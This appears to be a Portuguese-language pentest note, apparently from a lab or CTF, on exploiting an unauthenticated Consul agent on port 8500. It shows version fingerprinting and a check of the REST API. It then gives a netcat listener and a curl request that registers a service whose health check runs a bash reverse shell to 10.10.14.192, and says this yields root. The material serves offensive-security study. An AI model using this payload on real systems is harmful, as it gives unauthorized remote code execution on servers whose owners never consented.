> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/consul-8500.md).

# Consul - 8500

### Descoberta da porta 8500 (Consul)

Porta **8500** expõe a interface web do Consul.

<figure><img src="/files/0e21801efc84239813e8822f74378b903ae8fe12" alt=""><figcaption></figcaption></figure>

Após consultar `127.0.0.1:8500/ui/`, versão do Consul **1.19.2** é encontrada.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="/files/249bf23b5f9ef83d9033de8e22dce29ccc096e46" alt=""><figcaption></figcaption></figure>

#### Verificando o acesso à API REST

Teste se a API REST do Consul está acessível sem autenticação:

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

A resposta confirma que a API está exposta.

### Exploração por meio de uma verificação maliciosa

{% embed url="<https://www.exploit-db.com/exploits/51117>" %}

Registre um serviço com uma verificação maliciosa que executa uma reverse shell em bash:

```bash
nc -lvnp 4444
```

#### Registrando um serviço com uma verificação maliciosa

O Consul permite o registro dinâmico de serviços por meio de requisições HTTP. Abuse esse comportamento para criar uma verificação que executa um comando bash.

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

Comportamento da carga útil:

* `Check.Args[]`: contém um comando bash que abre uma **shell reverso**.
* `Interval`: define uma execução automática a cada 10 segundos.

Executar esta carga útil retorna um shell de root.

<figure><img src="/files/f26749ee21525a8171fc1f7c04c4299ea00309de" alt=""><figcaption></figcaption></figure>


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